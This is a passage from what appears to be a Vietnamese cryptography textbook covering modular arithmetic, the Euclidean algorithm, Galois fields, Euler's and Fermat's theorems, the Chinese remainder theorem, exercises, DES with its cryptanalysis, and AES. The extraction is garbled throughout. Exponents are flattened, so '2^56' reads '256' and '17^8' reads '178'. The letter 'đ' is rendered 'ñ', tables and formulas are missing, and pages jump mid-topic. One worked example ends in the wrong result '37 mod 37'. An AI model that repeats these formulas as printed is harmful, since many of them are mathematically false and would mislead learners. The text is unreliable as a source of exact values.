o ðịnh nghĩa lũy thừa như là việc áp dụng lặp phép toán:
Ví dụ: a3 = a.a.a
o Và ñơn vị e=a0
o Một nhóm ñược gọi là xiclic nếu mọi phần tử ñều là lũy thừa của một phần tử
cố ñịnh nào ñó. Chẳng hạn b = ak ñối với a cố ñịnh và mỗi b trong nhóm.
o Khi ñó a ñược gọi là phần tử sinh của nhóm.
III.1.2 Vành
- 32 -
Cho một tập R các “số” với hai phép toán ñược gọi là cộng và nhân. Ở ñây “số” ñược
hiểu là phần tử của tập hợp và hai phép toán trên xác ñịnh trên tập hợp ñó. Tập với
hai phép toán trên ñược gọi là vành, nếu hai phép toán thoả mãn các tính chất sau
o Với phép cộng, R là nhóm Aben
o Với phép nhân, có
tính ñóng và
tính kết hợp
tính phân phối ñối với phép cộng a(b+c) = ab + ac
Nếu phép nhân có tính giao hoán thì tạo thành vành giao hoán.
Nếu phép nhân có nghịch ñảo và không có thương 0 (tức là không có hai phần khác 0
mà tích của chúng lại bằng 0), thì nó tạo thành miền nguyên
III.1.3 Trường là một tập hợp F với hai phép toán cộng và nhân, thoả mãn tính chất
sau:
o Với phép cộng F là nhóm Aben
o Với phép nhân F trừ phần tử 0 là nhóm Aben.
o F là một vành
Có thể nói là có các phép toán cộng, trừ, nhân, chia số khác 0. Phép trừ ñược coi
như là cộng với số ñối của phép cộng và phép chia là nhân với số ñối của phép
nhân:
a – b = a + (-b)
a / b = a.b-1
Cho trước một số n. Ta muốn thực hiện các phép toán theo Modulo của n. Ta có
thể thực hiện các phép toán trên các số nguyên như các phép cộng, nhân các số
nguyên thông thường sau ñó rút gọn lại bằng phép lấy Modulo hoặc cũng có thể
vừa tính toán, kết hợp với rút gọn tại bất cứ thời ñiểm nào:
(a+b) mod n = [a mod n + b mod n] mod n (*)
(a.b) mod n = [a mod n . b mod n] mod n (**)
Như vậy khi thực hiện các phép toán ta có thể thay các số bằng các số tương
ñương theo Modulo n ñó hoặc ñơn giản hơn có thể thực hiện các phép toán trên
các ñại diện của nó: Zn = { 0, 1, 2, 3, …, n-1 }.
- 34 -
o Zn với các phép toán theo Modulo tạo thành vành giao hoán có ñơn vị. Thực
vậy tính ñóng của các phép cộng và nhân dựa trên hai công thức (*) và (**).
Các tính chất kết hợp, giao hoán và nghịch ñảo ñược suy ra từ các tính chất
tương ứng của các số nguyên.
o Các chú ý về tính chất rút gọn:
nếu (a+b)≡(a+c) mod n, thì b≡c mod n
Nhưng (ab)≡(ac) mod n, thì b≡c mod n chỉ khi nếu a là nguyên tố
cùng nhau với n
• Bài toán. Cho hai số nguyên dương a và b. Bài toán tìm ước chung lớn nhất của
hai số nguyên dương là bài toán chung của lý thuyết số. Ta ký hiệu GCD(a,b) là
ước số chung dương lớn nhất của a và b, tức là số nguyên dương vừa là ước của a
vừa là ước của b và là số nguyên dương lớn nhất có tính chất ñó.
Ví dụ: GCD(60,24) = 12 ; GCD (6, 15) = 3; GCD(8, 21) = 1.
• Nguyên tố cùng nhau. Ta thấy 1 bao giờ cũng là ước số chung của hai số nguyên
dương bất kỳ. Nếu GCD(a, b) = 1, thì a, b ñựơc gọi là hai số nguyên tố cùng
nhau:
Ví dụ: GCD(8,15) = 1, tức là 8 v à 15 là hai số nguyên tố cùng nhau
• Tìm ước chung lớn nhất. Bây giờ chúng ta xét bài toán tìm ước số chung lớn
nhất của hai số nguyên dương cho trước. Dễ dàng chứng minh ñược tính chất sau:
GCD(a,b) = GCD(b, a mod b)
Như vậy ñể tìm ước số chung của một cặp số cho trước, ta ñưa về bài toán tìm ước
chung của cặp số gồm số nhỏ hơn trong hai số ñó và phần dư của số lớn khi chia cho
số nhỏ hơn. Thuật toán Ơcơlít tạo nên vòng lặp, ở mỗi bước ta áp dụng tính chất trên
cho ñến khi phần dư ñó còn khác 0.
• Thuật toán Ơcơlit tìm GCD(a, b)
A=a, B=b
while B>0•R = A mod B
A = B, B = R
return A
Ví dụ: GCD(1970,1066)
1970 = 1 x 1066 + 904 gcd(1066, 904)
1066 = 1 x 904 + 162 gcd(904, 162)
904 = 5 x 162 + 94 gcd(162, 94)
162 = 1 x 94 + 68 gcd(94, 68)
94 = 1 x 68 + 26 gcd(68, 26)
68 = 2 x 26 + 16 gcd(26, 16)
- 36 -
26 = 1 x 16 + 10 gcd(16, 10)
16 = 1 x 10 + 6 gcd(10, 6)
10 = 1 x 6 + 4 gcd(6, 4)
6 = 1 x 4 + 2 gcd(4, 2)
4 = 2 x 2 + 0
gcd(1970, 1066) = 2
Mỗi bước thực hiện thuật toán Ơcơlit mở rộng sẽ ñược mô tả bởi một hàng trong bảng
sau.
Sau 4 bước. ta có B3 = 1, khi ñó thuật toán dừng, GCD(1759, 550) = 1 và 550-1 mod
1759 = 355.
Trên tập các ña thức ñó ta có thể có một số cách khác nhau thực hiện các phép toán
cộng và nhân ña thức:
o Có thể thực hiện các phép toán thông thường trên ña thức
o Các phép toán trên ña thức với các hệ số trên Modulo p
o Các phép toán trên ña thức với các hệ số trên Modulo p và sau ñó lầy
Modulo theo ña thức m(x)
• Phép toán ña thức thông thường
o Cộng trừ các hệ số tương ứng
o Nhân mọi hệ số với cùng một số.
Ví dụ. f(x) = x3 + x2 + 2 và g(x) = x2 – x + 1
f(x) + g(x) = x3 + 2x2 – x + 3
f(x) – g(x) = x3 + x + 1
f(x) . g(x) = x5 + 3x2 – 2x + 2
• Phép toán ña thức với Modulo hệ số
o Cho số nguyên tố p tùy ý
o Tính các hệ số theo Modulo p. Khi ñó tập các hệ số ñược lấy từ trường
GL(p). Còn phép nhân ña thức có thể nhận ñược kết quả là ña thức bậc lớn
hơn n.
o Ta thường quan tâm ñến Mod 2, tức là mọi hệ số là 0 hoặc 1
Giả sử f(x) = x3 + x2 and g(x) = x2 + x + 1
f(x) + g(x) = x3 + x + 1
f(x) . g(x) = x5 + x2
Sau ñây ta xét riêng trường hợp khi các phép tóan cộng, nhân ña thức ñược thực
hiện với phép lấy Modulo theo một ña thức nào ñó.
Ví dụ GF(23)
- 41 -
• Bảng trên có thể xây dựng bằng cách tính trực tiếp trên các phép toán cộng và
nhân ña thức sau ñó lấy Modulo theo ña thức nguyên tố x3 + x + 1.
• Tuy nhiên có thể thực hiện các phép toán trên dãy 3 bit như sau;
o Vì các hệ số là 0, 1 nên các ña thức có thể biểu diễn như các xâu bit
o Phép cộng hai ña thức trở thành XOR (cộng cơ số 2) trên các xâu bit tương
ứng với hai ña thức ñó.
o Nhân một ña thức với x trở thành Shift sang trái 1 ñơn vị của dãy . bit
tương ứng với ña thức ñó.
o Phép tính Modulo theo ña thức nguyên tố của một ña thức cùng bậc n ñược
thực hiện bằng cách tính hiệu hay cũng là tổng của hai ña thức ñó, mà ñó cũng
chính là lấy dãy bit của ña thức ñó XOR với dãy bit của ña thức nguyên tố.
o Phép nhân và tính Modulo ñược kết hợp bằng phép lặp giữa Shìt và XOR.
= x3+x+x2+1 = x3+x2+x+1
011.101 = (101)<<1 XOR (101)<<0
= 1010 XOR 101 = 11112
• Phép rút gọn theo Modulo là
(x3+x2+x+1 ) mod (x3+x+1) = (x3+x2+x+1 ) - (x3+x+1 )
= x2
1111 mod 1011 = 1111 XOR 1011 = 01002
Như vậy trường Galoa GL(2n) bao gồm 2n phần tử. Muốn trường Galoa có số phần tử
lớn tuỳ ý, ta chỉ việc tăng và lấy n thích hợp. ðặc biệt việc tính toán các phép toán
cộng trừ, nhân, chia trên ñó rất nhanh và hiệu quả trên các thao tác của các thiết bị
phần cứng. Chính vì vậy trường Galoa ñóng vai trò quan trọng trong lý thuyết mã mà
chúng ta sẽ thấy rõ qua các chương tiếp theo.
Ví dụ. Sau ñây là danh sách các số nguyên tố nhỏ hơn 200:
2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73
79 83 89 97 101 103 107 109 113 127 131 137 139 149 151 157
163 167 173 179 181 191 193 197 199
ap-1 mod p = 1
Ví dụ. Vì 5 và 7 là các số nguyên tố. 2 và 3 không là bội tương ứng của 7 và 5, nên theo
ñịnh lý Ferma ta có
27-1 mod 7 = 1 (= 26 mod 7 = 64 mod 7= 1)
35-1 mod 5 = 1 (= 34 mod 5 = 81 mod 5= 1)
(-2)11-1 mod 11 = 1 (= 210 mod 11 = 1024 mod11 = 1)
Kết quả trên ñược dùng trong khoá công khai. Nó cùng ñược sử dụng ñể kiểm tra tính
nguyên tố của một số nguyên p nào ñó, bằng cách lấy ngẫu nhiên các số a và kiểm tra
xem có tính chất nêu trên không, kết luận là p nguyên tố càng thuyết phục nếu phép thử
trên ñúng với nhiều lần chọn ngẫu nhiên các số a.
- 44 -
III.4.5 Hàm Ole
Cho n là một số nguyên dương. Khi thực hiện phép tính ñồng dư n của mọi số nguyên
khác ta nhận ñược tập ñầy ñủ các phần dư có thể có là:
0, 1, 2,…, n-1
Từ tập trên ta tìm tập rút gọn bao gồm các số nguyên tố cùng nhau với n và quan tâm ñến
số lượng các phần tử như vậy ñối với số nguyên dương n cho trước.
Ví dụ. Với n = 10:
o Tập ñầy ñủ các phần dư là {0,1,2,3,4,5,6,7,8,9}
o Tập rút gọn các phần dư nguyên tố với 10 là {1,3,7,9}
o Số các phần tử của tập rút gọn trên là giá trị của hàm Ole Ф(n). Như vậy,
Ф(10) = 4.
• Muốn tính Ф(n) việc ñếm số các số ngưyên tố cùng nhau với n và nhỏ hơn n ñược
loại bỏ vì ñây là bài toán tốn nhiều công sức.
• Nói chung có thể tính hàm Ơle của một số dựa trên biểu thức phân tích ra thừa số của
số ñó.
o Dễ dàng thấy, nếu p là số nguyên tố Ф(p) = p-1
o Nếu p và q là hai số nguyên tố khác nhau, thì có thể chứng minh ñược rằng:
o Ф(p.q) = (p-1)(q-1)
o Nếu p là số nguyên tố, thì Ф(pn) = pn-pn-1
o Nếu s và t là hai số nguyên tố cùng nhau, thì Ф(s.t) =
Ф(s).Ф(t)
Vi dụ.
Ф(37) = 37 – 1 = 36
Ф(21) = (3–1)×(7–1) = 2×6 = 12
Ф(72) = Ф(8.9) = Ф(8). Ф(9) = Ф(23).Ф(32) =
= (23-22)(32-31) = 4.6 = 24
aФ(n)mod n = 1
Có thể triển khai ðịnh lý Trung Hoa theo một số cách như sau:
• Tính toán theo modulo số lớn. ðể tính A mod M, với M khá lớn và A là biểu thức
số học nào ñó. Trước hết ta cần tính tất cả ai = A mod mi. Sau ñó sử dụng công thức
- 47 -
trong ñó Mi = M/mi
Ví dụ. Tính 178 mod 77. Áp dụng ñịnh lý phần dư Trung hoa, ta coi A = 1718, m1 = 7,
m2 = 11. Khi ñó M1 = 11, M2 = 7 và
11-1 mod 7 = 4-1 mod 7 = 2, suy ra c1 = 11*2 = 22
7-1 mod 11 = 8, suy ra c2 = 7*8 = 56
a1 = 178 mod 7 = (17 mod 7)8 mod 7 = 38 mod 7 = (32)4 mod 7 = 2
a2 = 178 mod 11 = (17 mod 11)8 mod 11 = 68 mod 11 =
= (62)4 mod 11 = 34 mod 11 = 4
Vậy A = 178 mod 77 = (2*22 + 4*56) mod 77 = 268 mod 77 = 37 mod 37
• Giải hệ phương trình modulo. Cho ai = x mod mi, với GCD(mi, mj) = 1, với mọi i
khác j. Khi ñó ta cũng áp dụng ðịnh lý phần dư Trung Hoa ñể tìm x.
Ví dụ. Cho x ≡ 5 mod 7 và x ≡ 6 mod 11. Tìm x.
Áp dụng ñịnh lý phần dư Trung hoa, ta tính:
7-1 mod 11 = 8 và 11-1 mod 7 = 2. Như vậy
x = (5*2*11 + 6*8*7) mod (7*11) = 61 mod 77.
Bài tập.
1. Chứng tỏ rằng tập các số nguyên với phép cộng hai số nguyên tạo thành nhóm
giao hoán.Chứng tỏ rằng tập các số nguyên với phép cộng hai số nguyên và phép
nhân hai số nguyên tạo thành vành giao hoán. nhóm giao hoán. Hỏi vành ñó có
tạo thành miền nguyên hay trường không.
2. Chứng tỏ rằng tập các phần dư khi chia cho n, Zn với hai phép toán và nhân theo
modulo n tạo thành vành giao hoán. Với n thỏa mãn ñiều kiện gì, thì vành ñó là
trường.
3. Tính giá trị các biểu thức theo modulo sau:
• 8 mod 9 + 7 mod 9
- 49 -
• 8 mod 9 * 7 mod 9
• 5 mod 11 – 9 mod 11
• 53 mod 7
• 520 mod 7
• 5/6 mod 7
4. Tính giá trị các biểu thức theo modulo sau
• (-546) mod 13 - 347 mod 11
• (1234 + 2345) mod 17
• (213 * 345) mod 19
• 15-1 mod 101
• 41-1 mod 100
• 1435 mod 11
• (235*126/13) mod 19
• 31130 mod 23
• (23525 /17 + 12619. 397 /13) mod 29
6. Biểu diễn phép nhân ña thức với hệ số theo mod 2 và theo module ña thức sau (x3
+ x + 1) (gọi là GL(23):
• (x + 1) * (x2 + x + 1) mod (x3 + x + 1)
• x2 * (x2 + x + 1) mod (x3 + x + 1)
• (x2 + 1) * (x2 + x + 1) mod (x3 + x + 1)
• (x2 + x + 1) * (x2 + x + 1) mod (x3 + x + 1)
dưới dạng các phép toán shift và XOR của bit
7. Chứng tỏ GL(23) là một trường, nêu thuật toán tìm các phần tử nghịch ñảo theo
phép nhân của các phần tử khác 0.
8. Tính hàm Ơle của các số nguyên sau:
• 12, 17, 21, 32, 36, 40, 72, 256.
8 Dùng ðịnh lý Ferma và ðịnh lý Ole tính các biểu thức sau
• 616 mod 17; 1516 mod 17; 95100 mod 101
• 74 mod 10; 95 mod 10; 1012 mod 21; 9190 mod 100;
9 Cài ñặt chương trình kiểm tra số giả nguyên tố
10 Giải các phương trình modulo sau
• x mod 11 = 3; x mod 13 = 6
• y mod 51 = 11; y mod 100 = 15
- 50 -
• z mod 12 = 5; z mod 17 = 8; z mod 23 = 11.
11 Sử dụng ñịnh lý phần dư Trung Hoa tính giá trị các biểu thức sau
• 2530 mod (7*8)
• 70254 mod (11*13)
• 60-1 mod (11*13)
• ((21100 + 33-1). 4551) mod (7.9.11)
• ((19125 + 2551)4721 /37 mod (9.11.13)
12 Tìm các căn nguyên tố của 9, 11
13 Tìm các căn nguyên tố của 13 và 17.
14 Tính logarit rời rạc sau, nếu có:
• Log3 7 mod 11, Log2 9 mod 11
• Log5 6 mod 13, Log3 7 mod 13
• Log2 15 mod 17, Log3 11 mod 17
- 51 -
CHƯƠNG IV:
CHUẨN MÃ DỮ LIỆU (DES) VÀ CHUẨN MÃ NÂNG CAO (AES)
IV.1 Mã khối hiện ñại
Bây giờ chúng ta xét các mã khối hiện ñại. ðây là kiểu mã ñược sử dụng rộng rãi nhất
của các thuật toán mã hoá. ðồng thời nó cũng ñược sử dụng kết hợp với các thủ tục khác
nhằm cung cấp các dịch vụ an toàn và xác thực.
Trước hết chúng ta tập trung vào chuẩn mã dữ liệu DES (Data Encryption Standards) ñể
minh hoạ cho các nguyên lý mã khối. Trước hết chúng ta xét hai kiểu xử lý thông tin
khác nhau trên bản rõ. Một kiểu chia dữ liệu thành từng khối ñể xử lý, kiểu kia xử lý trực
tiếp từng ñơn vị thông tin.
IV.1.1 Phân biệt mã khối với mã dòng.
o Mã khối (block) xử lý bản tin theo từng khối, lần lượt mỗi khối ñược mã hoặc giải
mã. Có thể xem giống như phép thế với các ký tự lớn – mỗi khối gồm 64 bít hoặc
nhiều hơn.
o Mã dòng xử lý bản tin theo từng bít hoặc bite, lần lượt mỗi bít hoặc bite ñược mã
hoá hoặc giải mã. Chẳng hạn như mã khoá tự ñộng Vigenere.
o Rất nhiều mã hiện nay là mã khối. Chúng có khả năng ứng dụng rộng rãi hơn. Rất
nhiều ứng dụng mã ñối xứng trên mạng sử dụng mã khối.
Các nguyên lý mã khối
o Hầu hết các mã khối ñối xứng dựa trên cấu trúc mã Fiestel, do nhà bac học Fiestel
ñề xuất năm 1973. ðây là ñiều cần thiết, vì cần phải có khả năng giải mã các bản
mã một cách có hiệu quả.
o Mã khối ñược coi giống như phép thế cực lớn. Cần bảng có 264 ñầu vào cho mã
khối 64 bít, bảng như vậy là rất lớn. Do ñó có thể thay thế bằng cách tạo các khối
nhỏ hơn.
o Sử dụng ý tưởng dùng mã tích. Ở ñây sẽ kết hợp giữa mã thay thế và mã hoán vị,
ñồng thời sử dụng nhiều vòng lặp như vậy.
IV.1.2 Claude Shannon và mã phép thế hoán vị
Năm 1949, Shannon ñưa ra ý tưởng mạng phép thế và hoán vị (S-P networks) – là mã
tích phép thế và hoán vị hiện ñại với mục ñích là cản trở việc thám mã dựa vào các phân
tích thống kê. Giả sử kẻ thám mã biết một số tính chất thống kê của bản rõ như bảng phân
bố tần suất của các chữ cái, bộ các chữ cái. Nếu các ñặc trưng thống kê này ñược phản
ánh trong bản mã, thì kẻ thám mã sẽ tìm cách tìm ñược khoá hoặc một phần khoá hoặc
tìm mò ra bản rõ. Shannon muốn có một bản mã lý tưởng, ở ñó mọi ñặc trưng thống kế
ñều ñộc lập với khoá riêng ñược dùng, như vậy kẻ thám mã sẽ không có cơ sở ñể tìm
khoá.
- 52 -
Mạng S-P ñã tạo nên cơ sở cho mã khối hiện ñại. Mạng S-P dựa trên hai thao tác mã cơ
bản mà ta ñã biết: phép thế (S-box) và hoán vị (P-box). Chúng sẽ tạo nên ñộ rối loạn và
khuếch tán của bản tin.
Rối loạn và khuếch tán
o Một tính chất quan trọng của mã tốt là mã cần phải che dấu hoàn toàn các tính
chất thống kê của bản tin gốc. Như ta ñã thấy mã bộ ñệm một lần có thể làm ñược
ñiều ñó, do tính ngẫu nhiên của khoá ñệm và ñộ dài bằng bản tin của nó.
o Shannon nghiên cứu và ñề xuất phương pháp thực tế hơn là kết hợp các thành
phần khác nhau của bản rõ ñể xử lý qua nhiều lần và nhận ñược bản mã.
o Khuếch tán là làm tan biến cấu trúc thống kê của bản rõ trên bản mã. ðiều ñó ñạt
ñược nếu mỗi bit của bản rõ tác ñộng ñến giá trị của rất nhiều bit trên bản mã hay
mỗi bit của bản mã chịu tác ñộng của nhiều bit bản rõ.
o Rối loạn là làm cho quan hệ giữa bản mã và khoá càng phức tạp càng tốt. Bản mã
có tính rối loạn cao sẽ làm cho việc tìm mò khoá trở nên rất khó khăn, ngay cả khi
kẻ tấn công có các ñặc trưng thống kê của bản mã và biết cách khoá tác ñộng ñến
bản mã.
IV.1.3 Cấu trúc mã Fiestel
• Horst Fiestel sáng tạo nên mã Fiestel dựa trên mã tích nghịch ñảo ñược, tức là kết
hợp mã thế với mã hoán vị và qui trình giải mã là giống với mã hoá, chỉ cần thay
ñổi vai trò khối bản mã với khối bản rõ và thứ tự các khoá con ñược dùng. Từ
khoá chính sinh ra cho mỗi vòng lặp một khoá con.
• Chia khối ñầu vào thành 2 nửa bằng nhau:
o Thực hiện phép thế trên nửa trái. Sử dụng hàm vòng trên nửa phải và khoá
con, rồi tác ñộng ñến nửa trái.
o Sau ñó hoán vị các nửa, nửa phải chưa ñược xử lý.
o Xử lý vòng tiếp theo.
• ðây là một thể hiện của mã thế kết hợp với hoán vị của Shannon. Ta xem xét cụ
thể cấu trúc mã Fiestel gồm n vòng:
- 53 -
IV.2.2 Sơ ñồ mã DES
• Hoán vị ban ñầu IP: ñây là bước ñầu tiên của tính toán dữ liệu, hoán vị IP ñảo
thứ tự các bít ñầu vào: các bít chẵn sang nửa trái và các bít lẻ sang nửa phải. Hoán
vị trên dễ dàng thực hiện trên phần cứng.
Mỗi số trong hệ 16 biểu diễn bởi 4 bit, 16 số ñược thể hiện bởi 64 bit. Mỗi bit có
một vị trí xác ñịnh qua hoán vị ban ñầu (xem bảng phụ lục cuối tài liệu).
Ví dụ
IP(675a6967 5e5a6b5a) = (ffb2194d 004df6fb)
• Cấu tạo một vòng của DES
Sử dụng hai nửa 32 bít trái và 32 bít phải. Như ñối với mọi mã Fiestel, nửa phải của
vòng trước ñược chuyển qua nửa trái của bước sau và lấy ñầu ra của hàm vòng trên
nửa phải và khoá con cộng cơ số 2 với nửa trái. Có thể biểu diễn bằng công thức như
sau:
Li = Ri–1
- 56 -
Ri = Li–1 xor F(Ri–1, Ki)
Ở ñây F lấy 32 bít nửa phải R, mở rộng thành 48 bít nhờ hoán vị E, rồi cộng vào với
khoá con 48 bít. Sau ñó chia thành 8 cụm 6 bít và cho qua 8 S-box ñể nhận ñược kết
quả 32 bít. ðảo lần cuối sử dụng hoán vị 32 bít P nhận ñược 32 bít ñầu ra, rồi cộng
với nửa trái ñể chuyển thành nửa phải của bước sau.
Các thông số cụ thể về hoán vị ban ñầu, các hộp Box và thuật toán sinh khoá của DES
ñược cho cuối tài liệu trong phần phụ lục.
• Giải mã DES
Giải mã làm ngược lại quá trình mã hoá. Với thiết kế Fiestel thực hiện mã hoá
tiếp với các khoá con từ SK16 ngược lại về SK1. Nhận thấy rằng hoán vị ban ñầu
IP sẽ trả lại tác dụng của hoán vị cuối FP. Vòng ñầu với SK16 sẽ trả lại tác dụng
của vòng mã thứ 16. Vòng thứ 16 với SK1 sẽ trả lại tác dụng của vòng mã ñầu
tiên. Hoán vị cuối FP trả lại tác dụng hoán vị ban ñầu IP. Như vậy ñã khôi phục
lại ñược dữ liệu ban ñầu.
IV.2.3 Tính chất của DES
• Tác dụng ñồng loạt. Khi ta thay ñổi 1 bit trong khoá sẽ gây ra tác ñộng ñồng loạt
làm thay ñổi nhiều bit trên bản mã. ðây là tính chất mong muốn của khoá trong
thuật toán mã hoá. Nếu thay ñổi 1 bít ñầu vào hoặc khoá sẽ kéo theo thay ñổi một
- 58 -
nửa số bít ñầu ra. Do ñó không thể ñoán khoá ñược. Co thể nói rằng DES thể hiện
tác ñộng ñồng loạt mạnh.
• Sức mạnh của DES – kích thước khoá.
ðộ dài của khoá trong DES là 56 bít có 256 = 7.2 x 1016 giá trị khác nhau. ðây là
con số rất lớn nên tìm kiếm duyệt rất khó khăn. Các thành tựu gần ñây chỉ ra rằng
thời gian cần thiết ñể giải một trang mã DES mà không biết khoá là: sau một vài
tháng trên Internet trong năm 1997; một vài ngày trên thiết bị phần cứng tăng
cường trong năm 1998; sau 22 giờ nếu kết hợp các biện pháp trong năm 1999.
Như vậy vẫn có thể ñoán ñược bản rõ sau một khoảng thời nhất ñịnh, nếu có
nguồn lực máy tính mạnh. Chính vì vậy bây giờ người ta ñã xét một vài biến thể
của DES nhằm nâng cao sức mạnh cho DES.
• Sức mạnh của DES – tấn công thời gian.
ðây là dạng tấn công vào cài ñặt thực tế của mã. Ở ñây sử dụng hiểu biết về quá
trình cài ñặt thuật toán mà suy ra thông tin về một sô khoá con hoặc mọi khoá
con. ðặc biệt sử dụng kết luận là các tính toán chiếm khoảng thời gian khác nhau
phụ thuộc vào giá trị ñầu vào của nó. Do ñó kẻ thám mã theo dõi thời gian thực
hiện mà phán ñoán về khoá. Có thể kẻ thám mã sáng tạo ra các loại card thông
minh phán ñoán khoá, mà còn phải bàn bạc thêm về chúng.
• Sức mạnh của DES – tấn công thám mã.
Có một số phân tích thám mã trên DES, từ ñó ñề xuất xây dựng một số cấu trúc
sâu về mã DES. Rồi bằng cách thu thập thông tin về mã, có thể ñoán biết ñược tất
cả hoặc một số khoá con ñang dùng. Nếu cần thiết sẽ tìm duyệt những khoá còn
lại. Nói chung, ñó là những tấn công dựa trên phương pháp thống kê bao gồm:
thám mã sai phân, thám mã tuyến tính và tấn công khoá liên kết.
• Thám mã sai phân
Một trong những thành tựu công khai gần ñây trong thám mã là phương pháp
thám mã sai phân. Nó ñược biết ñến bởi NSA trong những năm 70, chẳng hạn
trong thiết kế DES. Murphy, Birham và Shamir công bố phương pháp sai phân
năm 1990. ðây là phương pháp mạnh ñể phân tích mã khối. Nó sử dụng phân tích
hầu hết các mã khối hiện tại với mức ñộ thành công khác nhau. Nhưng DES có
thể kháng cự lại các tấn công ñó. Thám mã sai phân là tấn công thống kê chống
lại các mã Fiestel. Mã Fiestel dùng các cấu trúc mã chưa ñược sử dụng trước kia
như thiết kế S-P mạng có ñầu ra từ hàm f chịu tác ñộng bởi cả ñầu vào và khoá.
Do ñó không thể tìm lại ñược giá trị bản rõ mà không biết khoá.
Thám mã sai phân so sánh hai cặp mã có liên quan với nhau
o Với sự khác biệt ñã biết ở ñầu vào
o Khảo sát sự khác biệt ở ñầu ra
- 59 -
o Khi với cùng khoá con ñược dùng
o Trong công thức sau với hai ñầu vào khác nhau, vế trái là sự khác biệt mã
ở cùng vòng thứ i ñược biểu diễn qua sự khác biệt mã ở vòng trước ñó i-1
và sự khác biệt của hàm f trong ngoặc vuông.
Sự khác biệt ở ñầu vào cho sự khác biệt ở ñầu ra với một xác suất cho trước.
o Nếu tìm ñược một thể hiện ñầu vào - ñầu ra với xác suất cao. Thì có
thể luận ra khoá con ñược sử dụng trong vòng ñó
o Sau ñó có thể lặp lại cho nhiều vòng (với xác suất giảm dần)
Cặp ñúng cho bít khoá như nhau
Cặp sai cho giá trị ngẫu nhiên
o ðối với số vòng lớn, xác suất ñể có nhiều cặp ñầu vào 64 bít thoả mãn
yêu cầu là rất nhỏ.
o Birham và Shamir chỉ ra rằng làm như thế nào ñể các ñặc trưng lặp của
13 vòng có thể bẻ ñược DES 16 vòng ñầy ñủ.
- 60 -
o Qui trình thám mã như sau: thực hiện mã hoá lặp lại với cặp bản rõ có
XOR ñầu vào biết trước cho ñến khi nhận ñược XOR ñầu ra mong
muốn
o Khi ñó có thể tìm ñược
nếu vòng trung gian thỏa mãn XOR yêu cầu thì có cặp ñúng
nếu không thì có cặp sai, tỷ lệ sai tương ñối cho tấn công ñã
biết trước dựa vào thống kê.
o Sau ñó có thể tạo ra các khoá cho các vòng theo suy luận sau
• Thám mã tuyến tính
ðây là một phát hiện mới khác. Nó cũng dùng phương pháp thống kê. Ở ñây
cần lặp qua các vòng với xác suất giảm, nó ñược phát triển bởi Matsui và một
số người khác vào ñầu những năm 90. Cơ sở của phương pháp dựa trên tìm
xấp xỉ tuyến tính. Và có nhận ñịnh rằng có thể tấn công DES với 247 bản rõ ñã
biết. Như vậy thám mã tuyến tính vẫn không khả thi trong thực tế.
o Tìm xấp xỉ tuyến tính với xác suất p != ½
trong ñó ia, jb, kc là các vị trí bit trong bản rõ, mã, khoá.
o ðiều kiện trên cho phương trình tuyến tính của các bít khoá. ðể nhận
ñược 1 bít khoá sử dụng thuật toán lân cận tuyến tính
o Sử dụng một số lớn các phương trình thử nghiệm. Hiệu quả cho bởi |p
– 1/2|
Trong quá trình tìm hiểu DES người ta ñã hệ thống lại các tiêu chuẩn thiết kế
DES. Như báo cáo bởi Copperscmith trong [COPP94]:
- 61 -
o Có 7 tiêu chuẩn ñối với S box ñược cung cấp ñể ñảm bảo
tính phi tuyến tính
chống tham mã sai phân
Rối loạn tốt
o Có 3 tiêu chuẩn cho hoán vị P ñể tăng ñộ khuếch tán
Trộn cột
o Có thể biểu diễn mỗi cột mới là nghiệm của 4 phương trình
ñể tìm ra byte mới trong mỗi cột
- 70 -
o Mã yêu cầu sử dụng ma trận nghịch ñảo
Với hệ số lớn thì tính toán khó khăn hơn
o Có các ñặc trưng khác của cột như sau:
Mỗi cột là một ña thức bậc 3 gồm 4 số hạng
Với mỗi phần tử là một byte tương ứng với phần tử trong GF(28).
Các ña thức nhân tính theo Modulo (x4+1).
• Cộng khoá quay vòng
o XOR trạng thái với 128 bit khoá quay vòng
o Xử lý lại bằng cột (hiệu quả qua một loạt các thao tác bit)
o Nghịch ñảo cho giải mã hoàn toàn xác ñịnh, vì khi XOR với nghịch ñảo
của bản thân nó, XOR trùng với ñảo bit của khoá quay vòng.
o Thiết kế ñể ñơn giản nhất có thể
Dạng mã Vernam với khoá mở rộng
ðòi hỏi thêm một số bước tăng ñộ phức tạp/tính an toàn.
• Một vòng AES
• Giải mã AES
o Giải mã ngược lại không duy nhất vì các bước thực hiện theo thứ tự ngược
lại.
o Nhưng có thể xác ñịnh mã ngược tương ñương với các bước ñã làm ñối
với mã
Nhưng sử dụng ngược lại với từng bước
Với khoá con khác nhau
o Thực hiện ñược vì kết quả không thay ñổi khi
ðổi lại phép thế byte và dịch các hàng
ðổi lại việc trộn các cột và bổ sung khoá vòng
o Lý do mở rộng khoá: các tiêu chuẩn thiết kế bao gồm
Giả sử biết một phần khoá, khi ñó không ñủ ñể biết nhiều hơn, tức là
các khoá con khác hoặc khoá nói chung.
Phép biến ñổi nghịch ñảo ñược.
Nhanh ñối với nhiều kiểu CPU.
Sử dụng hằng số vòng ñể làm mất tính ñối xứng
Khuếch tán bit khoá thành khoá con cho các vòng
Có ñủ tính phi ñối xứng ñể chống thám mã
ðơn giản trong việc giải mã
o Các khía cạnh cài ñặt:
có thể cài ñặt hiệu quả trên CPU 8 bit
- 72 -
- Phép thế byte làm việc trên các byte sử dụng bảng với 256
ñầu vào.
- Dịch hàng là phép dịch byte ñơn giản
- Cộng khoá vòng làm việc trên byte XOR
- Các cột hỗn hợp yêu cầu nhân ma trận trong GF(28) mà làm
việc trên giá trị các byte, có thể ñơn giản bằng cách tra
bảng
có thể cài ñặt hiệu quả trên CPU 32 bit
- Xác ñịnh lại các bước ñể sử dụng từ 32 bit
- Có thể tính trước 4 bảng với 256 ñầu vào
- Sau ñó mỗi cột trong mỗi vòng có thể tính bằng cách tra 4
bảng và 4 XOR
- Cần 16 Kb ñể lưu các bảng
Những nhà thiết kế tin tưởng rằng việc cài ñặt rất hiệu quả này là yếu
tố cơ bản trong việc chọn nó là mã AES
Sau ñây ta xét chi tiết hơn các quá trình mã hoá, sinh khoá và giải mã AES.
Xét cụ thể quá trình mã hóa bao gồm 4 bước:
1. AddRoundKey - mỗi byte của khối ñược kết hợp với khóa con, các khóa con này
ñược tạo ra từ quá trình tạo khóa con Rijndael.
2. SubBytes - ñây là quá trình thay thế (phi tuyến) trong ñó mỗi byte sẽ ñược thay
thế bằng một byte khác theo bảng tra (Tìm trong tài liệu tương ứng).
- 73 -
